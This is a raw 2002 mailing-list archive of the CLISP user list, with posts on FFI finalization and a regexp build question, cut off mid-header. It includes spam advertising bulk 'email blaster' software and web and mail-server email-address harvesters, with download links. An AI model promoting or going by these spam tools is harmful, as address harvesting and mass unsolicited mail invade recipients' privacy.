usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VYLx-0003Pk-00 for ; Fri, 19 Jul 2002 07:03:29 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 19 Jul 2002 16:02:36 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Jul 2002 16:03:19 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] howto: Finalization in CLISP (using the valid bit) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 19 07:04:10 2002 X-Original-Date: Fri, 19 Jul 2002 16:03:18 +0200 I wrote: >User beware: fp_valid() etc. are to be called on the >FOREIGN-POINTER object, which is a slot within the >FOREIGN-ADDRESS one (pointer indirection, not substructure). >My extensions to the CLISP FFI (not sure it even in CVS yet) >provide better access to the VALID bit from Lisp: >(FFI:MARK-INVALID-FOREIGN foreign-address) and hide the >FOREIGN-POINTER vs FOREIGN-ADDRESS dichotomy. I omitted to explain that you must not call MARK-INVALID-FOREIGN on a FOREIGN-ADDRESS object returned via :return-type ffi:c-pointer of a DEF-CALL-OUT function! Doing so would invalidate the unique foreign session pointer (O(fp_zero) in .d code) that CLISP uses for all usual FOREIGN-ADDRESS/VARIABLE/FUNCTION objects. The FFI would become mostly unusable in your current CLISP session. You can use MARK-INVALID-FOREIGN or mark_fp_invalid() on pointers you allocated yourself in your module's constructors (via allocate_pointer()). For example, future CLISP (I think not yet in CVS) will do that for the yet-to-be-polished m/calloc/free interface, and already do so in CVS CLISP for the WITH-FOREIGN-OBJECT WITH-C-VAR macros. What's important to notice: All FOREIGN-ADDRESS objects derived from the same FOREIGN-POINTER object share the VALID bit. This can be used for dependency tracking. For example, with the FFI on AmigaOS, all FOREIGN-FUNCTION objects from a shared library become invalid and thus not callable as soon as the library is closed. Few month ago, I had ideas about providing a Lisp-level interface to control the dependency between FOREIGN-ADDRESS and FOREIGN-POINTER objects, but I have since forgotten what I had planned ((SET-FOREIGN-BASE x :new)??). Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 19 07:17:42 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VYZg-0005QG-00 for ; Fri, 19 Jul 2002 07:17:40 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 19 Jul 2002 16:16:49 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Jul 2002 16:17:31 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] howto: Finalization in CLISP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 19 07:18:38 2002 X-Original-Date: Fri, 19 Jul 2002 16:17:31 +0200 Sam asked: >>this is easy to fix - just run all finalizers on exit. should it be? >>what are the issues? (obviously, the possible errors while running >>the finalizers have to be ignored -- what else?) >o Finalizers which do nothing more than free() or >close[socket]() are superfluous and waste precious time when >an application has been ordered to exit. I.e. all finalizers >for resources which the OS closes itself upon program exit. From my own experience with modules, I'd say that a module exit function is what I'm missing, not finalization for every resource obtained via the library. And perhaps some dependency mechanism would be useful as well. The reason is that shared libraries mostly do resource tracking themselves. I.e., I believe I don't need to close all sockets before closing the socket library. Therefore, when shutting down, it's advantageous not to pedantically close single resources when they can go away in one go (e.g. don't do thousands of 8byte frees when one sbrk() or free_pool_for_tiny_mallocs() is enough). However, my experience may be biased by the fact that I wrote all modules by hand, i.e. I wrote C code. People who use the FFI to define interface stubs to existing libraries may rightly wish to achieve this without writing C code. Maybe this is just a matter of having Lisp-level functions like MARK-INVALID-FOREIGN to to the kind of things in Lisp I so far preferred to do in C. Maybe not. The previously mentioned issue of whether it's acceptable to run arbitrary user code after EXT/SYS:EXIT has been called comes to mind again. Combined with the issue of what (possibly corrupt) state the Lisp system may be in when EXIT is invoked by Lisp code, or by CLISP itself. Regards, Jorg Hohle. From targetemailextractor@btamail.net.cn Sun Jul 21 10:01:11 2002 Received: from [218.0.72.36] (helo=localhost.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WK50-0001ys-00 for ; Sun, 21 Jul 2002 10:01:10 -0700 From: targetemailextractor@btamail.net.cn Reply-To: targetemailextractor@btamail.net.cn To: clisp-list@lists.sourceforge.net X-Mailer: QuickSender 1.05 MIME-Version: 1.0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-Id: Subject: [clisp-list] ADV: Direct email blaster, email address extractor, maillist manager, maillist verify ............ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jul 21 10:02:03 2002 X-Original-Date: Mon, 22 Jul 2002 01:01:02 +0800 =3CBODY bgColor=3D#ffffff=3E =3CDIV=3E=3CFONT face=3D宋=3B体=3B size=3D2=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EDirect Email Blaster=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E=3CFONT size=3D2=3E =3CP=3E=3CFONT face=3DArial=3E=3CB=3E=3CFONT color=3D#006600=3E=3CI=3EThe program will send mail at the rate of over 1=2C 000 e-mails per minute=2E =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ELegal and Fast sending bulk emails =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EBuilt in SMTP server =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3EHave Return Path =3B=3CBR=3ECan Check Mail Address =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EMake Error Send Address List=28 Remove or Send Again=29 =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ESupport multi-threads=2E =3B=3CBR=3ESupport multi-smtp servers=2E =3B=3CBR=3EManages your opt-in E-Mail Lists =3B=3CBR=3EOffers an easy-to-use interface! =3B=3CBR=3EEasy to configure and use =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fedeb=5Fset=2Ezip=22=3E=3CSTRONG=3EDownload Now=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EMaillist Verify=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EMaillist Verify is intended for e-mail addresses and mail lists verifying=2E The main task is to determine which of addresses in the mail list are dead=2E The program is oriented=2C basically=2C on programmers which have their own mail lists to inform their users about new versions of their programs=2E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EThe program works on the same algorithm as ISP mail systems do=2E Mail servers addresses for specified address are extracted from DNS=2E The program tries to connect with found SMTP-servers and simulates the sending of message=2E It does not come to the message =3CNOBR=3Esending ‿=3B=2FNOBR>=3B EMV disconnect as soon as mail server informs does this address exist or not=2E EMV can find=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3E =3Babout 90% of dead addresses ‿=3B=2FNOBR>=3B some mail systems receive all messages and only then see their =3B=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3Eaddresses and if the address is dead send the message back with remark about it=2E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E=3CNOBR=3E =3CP=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemv=5Fset=2Ezip=22=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Blaster =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EExpress Email Blaster =3B is a very fast=2C powerful yet simple to use email sender=2E Utilizing multiple threads=2Fconnections=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E =3Band multiple SMTP servers your emails will be sent out fast and easily=2E There are User Information=2C Attach Files=2C =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EAddress and Mail Logs four tabbed area for the E-mails details for sending=2E About 25 SMTP servers come with the =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3Edemo version=2C and users may Add and Delete SMTP servers=2E About =3CFONT color=3D#008000=3E=3CB=3E60=2C000=3C=2FB=3E=3C=2FFONT=3E E-mails will be sent out per hour=2E=22=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbeeb=5Fset=2Ezip=22=3E=3CFONT face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Address Extractor=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E=3CFONT size=3D4=3E =3CP=3E=3CFONT color=3D#008000 size=3D3=3EThis program is the most efficient=2C easy to use email address collector available on the =3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3D#008000 size=3D3=3E =3Binternet! =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D3=3EBeijing Express Email Address Extractor =28ExpressEAE=29 is designed to extract=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Be-mail addresses from web-pages on the Internet =28using HTTP protocols=29 =2EExpressEAE=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Bsupports operation through many proxy-server and works very fast=2C as it is able of =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3Eloading several pages simultaneously=2C and requires very few resources=2E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial=3E=3CFONT size=3D3=3EWith it=2C you will be able to=3C=2FFONT=3E=3CFONT size=3D2=3E =3C=2FFONT=3E=3CFONT size=3D3=3Euse targeted searches to crawl the world wide web=2C extracting =3B=3C=2FFONT=3E=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Ethousands of clean=2C fresh email addresses=2E Ably Email address Extractor is unlike other =3B=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eaddress collecting programs=2C which limit you to one or two search engines and are unable=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3E =3Bto do auto searches HUGE address=2E Most of them collect a high percentage of incomplete=2C =3B=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eunusable addresses which will cause you serious problems when using them in a mailing=2E =3B=3C=2FFONT=3E =3CUL=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EEasier to learn and use than any other email address collector program available=2E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAccesses eight search engines =3B=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAdd your own URLs to the list to be searched=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3ESupports operation through =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3Ea lot of=3C=2FFONT=3E=3CFONT color=3D#008000=3E proxy-server and works very fast =28HTTP Proxy=29=3C=2FFONT=3E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAble of loading several pages simultaneously=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ERequires very few resources=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ETimeout feature allows user to limit the amount of time crawling in dead sites and traps=2E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3EEasy to make =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3EHuge=3C=2FFONT=3E=3CFONT color=3D#008000=3E address list=3C=2FFONT=3E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EPause=2Fcontinue extraction at any time=2E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAuto connection to the Internet=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feeae=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Email Address Downloader=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CUL=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Eis a 32 bit Windows Program for e-mail marketing=2E It is intended for easy and convenient=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3E =3Bsearch large e-mail address lists from mail servers=2E The program can be operated on =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3EWindows 95=2F98=2FME=2F2000 and NT=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Esupport multi-threads =28up to 1024 connections=29=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas the ability =3B to reconnect to the mail server if the server has disconnected and =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3Econtinue the searching at the point where it has been interrupted=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas an ergonomic interface that is easy to set up and simple to use=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CP=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#008000 face=3DArial size=3D4=3EFeatures=3A=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CUL type=3Ddisc=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Esupport multi-threads=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto get smtp server address=2Csupport multi-smtp servers=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto save =3B E-Mail Lists=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eoffers an easy-to-use interface!=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feead=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Maillist Manager=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT size=3D2=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3EThis program was designed to be a complement to the =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EDirect Email Blaster =3B =3C=2FFONT=3E=3CFONT color=3Dblack size=3D3=3Eand =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EEmail Blaster =3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Esuite of bulk email software programs=2E Its purpose is to organize your email lists in order to be more =3B=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Eeffective with your email marketing campaign=2E Some of its features include=3A=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial=3E=3CFONT size=3D3=3E‿=3BCombine several lists into one file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BSplit up larger lists to make them more manageable=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BRemove addresses from file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BManual editing=2C adding=2C and deleting of addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BAbility to auto clean lists=2C that is=2C remove any duplicate or unwanted addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BMaintain all your address lists within the program so you no =3B longer need to keep all your=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3E =3Blists saved as separate text files=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemm=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E =3B=3C=2FP=3E =3CDIV=3E=3CFONT face=3DArial=3Eif you want to remove your email=2C please send email to =3CA href=3D=22mailto=3Atargetemailremoval=40btamail=2Enet=2Ecn=22=3Etargetemailremoval=40btamail=2Enet=2Ecn=3C=2FA=3E=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FDIV=3E From Marketingwap@millenniumdata.com Mon Jul 22 16:07:42 2002 Received: from [209.47.59.158] (helo=wap.millenniumdata.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WmHB-0000fm-00 for ; Mon, 22 Jul 2002 16:07:41 -0700 Received: from skrv.net ([172.16.50.158]) by wap.millenniumdata.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 22 Jul 2002 19:04:58 -0400 From: "Marketingwap" To: "clisp-list" MIME-Version: 1.0 Content-Type: multipart/mixed;boundary= "----=_NextPart_000_007D_9EEAD72D.966AF315" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Message-ID: X-OriginalArrivalTime: 22 Jul 2002 23:04:59.0521 (UTC) FILETIME=[34029F10:01C231D4] Subject: [clisp-list] Compaq and IBM computers starting from $125 !!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 22 16:08:04 2002 X-Original-Date: Mon, 22 Jul 02 17:43:11 Eastern Daylight Time ------=_NextPart_000_007D_9EEAD72D.966AF315 Content-Type: text/html Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9u YWwvL0VOIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5NZXNzYWdlPC9USVRMRT4NCjxNRVRBIGNv bnRlbnQ9Ik1TSFRNTCA2LjAwLjI3MTMuMTEwMCIgbmFtZT1HRU5FUkFUT1I+DQo8TUVUQSBj b250ZW50PUZyb250UGFnZS5FZGl0b3IuRG9jdW1lbnQgbmFtZT1Qcm9nSWQ+DQo8TUVUQSBo dHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXMt YXNjaWkiPjwvSEVBRD4NCjxCT0RZPg0KPERJVj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj48 Rk9OVCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9Mz4NCjxIUj4NCjwvRk9OVD48L0RJ Vj4NCjxESVY+DQo8Q0VOVEVSPg0KPFA+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTE+WW91ciBl bWFpbCBhZGRyZXNzIHdhcyBvYnRhaW5lZCBmcm9tIGEgc3Vic2NyaWJlZCANCnNlcnZpY2Us IFJlZmVyZW5jZSAjIDQwNjAtNjEwNjxCUj5JZiB5b3Ugd2lzaCB0byB1bnN1YnNjcmliZSBm cm9tIHRoaXMgbGlzdCwgDQpwbGVhc2UgPEEgDQpocmVmPSJtYWlsdG86bWFya2V0aW5nQG1p bGxlbm5pdW1kYXRhLmNvbT9zdWJqZWN0PVVuU3Vic2NyaWJlIGZyb20gTGlzdCI+PEZPTlQg DQpjb2xvcj0jMDAwMDgwPkNsaWNrIEhlcmU8L0ZPTlQ+PC9BPjwvRk9OVD4gPEZPTlQgZmFj ZT1BcmlhbCBzaXplPTE+PEJSPlRoaXMgDQplbWFpbCB3YXMgaW50ZW5kZWQgdG8gYmUgcmVj ZWl2ZWQgaW4gSFRNTCBmb3JtYXQuIElmIHlvdSBkaWQgbm90IHJlY2VpdmUgdGhpcyANCmVt YWlsIGluIHRoZSBwcm9wZXIgZm9ybSwgPEEgDQpocmVmPSJodHRwOi8vd3d3Lm1pbGxlbm5p dW1kYXRhLmNvbS9idXllcnNhZHZhbnRhZ2UvR3JlYXRfRGVhbHMuaHRtIj48Rk9OVCANCmNv bG9yPSMwMDAwODA+Q2xpY2sgSGVyZTwvRk9OVD48L0E+PC9GT05UPjwvUD4NCjxIUj4NCg0K PFAgYWxpZ249Y2VudGVyPjxJTUcgaGVpZ2h0PTExOSANCnNyYz0iaHR0cDovL3d3dy5taWxs ZW5uaXVtZGF0YS5jb20vYnV5ZXJzYWR2YW50YWdlL2ltYWdlcy9nbG9iYWxfSGVhZGVyLmpw ZyIgDQp3aWR0aD02MjEgYm9yZGVyPTA+PEJSPjxCPjxGT05UIGZhY2U9VmVyZGFuYT48Rk9O VCBzaXplPTQ+PEZPTlQgDQpjb2xvcj0jMDAwMGZmPkNvbXBhcSZuYnNwOyBjb21wdXRlcnMg c3RhcnRpbmcgZnJvbTwvRk9OVD4gPC9GT05UPjxGT05UIA0KY29sb3I9IzgwMDAwMCBzaXpl PTQ+JDEyNSE8QlI+PC9GT05UPjwvRk9OVD48L0I+PFNQQU4gDQpjbGFzcz0zODIxNjI5MjEt MjgwNjIwMDI+PEJSPjxTUEFOIGNsYXNzPTkzMzI3MzYyMS0yMjA3MjAwMj4mbmJzcDs8L1NQ QU4+PEEgDQpocmVmPSJodHRwOi8vd3d3Lm1pbGxlbm5pdW1kYXRhLmNvbS9HcmVhdF9EZWFs cy5odG0iPjxGT05UIGNvbG9yPSNmZjAwMDA+PEZPTlQgDQpzaXplPTM+Jm5ic3A7PEI+Q0xJ Q0sgSEVSRTwvQj48L0ZPTlQ+PC9GT05UPjwvQT48L1NQQU4+PEJSPjxCUj48Qj48Rk9OVCAN CmZhY2U9VmVyZGFuYT5OZXcgSW52ZW50b3J5IEp1c3QgQXJyaXZlZCE8U1BBTiBjbGFzcz05 MzMyNzM2MjEtMjIwNzIwMDI+IGZvciB0aGUgDQp3ZWVrIG9mPEJSPkp1bHkgMjIsIA0KMjAw MjwvU1BBTj48L0ZPTlQ+PC9CPjwvUD48L0NFTlRFUj48L0ZPTlQ+PC9ESVY+PC9CT0RZPjwv SFRNTD4NCiAgICA= ------=_NextPart_000_007D_9EEAD72D.966AF315-- From grechru@yahoo.com Tue Jul 23 01:58:06 2002 Received: from web20007.mail.yahoo.com ([216.136.225.70]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WvUc-0004AB-00 for ; Tue, 23 Jul 2002 01:58:06 -0700 Message-ID: <20020723085805.75843.qmail@web20007.mail.yahoo.com> Received: from [62.14.124.43] by web20007.mail.yahoo.com via HTTP; Tue, 23 Jul 2002 10:58:05 CEST From: =?iso-8859-1?q?Grzegorz=20Chrupala?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] RPM with REGEXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 01:59:02 2002 X-Original-Date: Tue, 23 Jul 2002 10:58:05 +0200 (CEST) Hi All I am trying to learn Lisp and as my first language is Perl I am used to using regexps for pattern matching. I would like to continue using them with CLISP. I tried to build CLISP myself (with the regexp module) but didn't manage to. Question is, is there a binary build for Linux, compiled with regexp? Thanks, Gregor _______________________________________________________________ Yahoo! Messenger Nueva versión: Webcam, voz, y mucho más ¡Gratis! Descárgalo ya desde http://es.messenger.yahoo.com From empb@bese.it Tue Jul 23 03:35:49 2002 Received: from mail-4.tiscali.it ([195.130.225.150] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Wx19-000432-00 for ; Tue, 23 Jul 2002 03:35:47 -0700 Received: from localhost (62.10.95.112) by mail.tiscali.it (6.5.026) id 3D3598B3002263B1 for 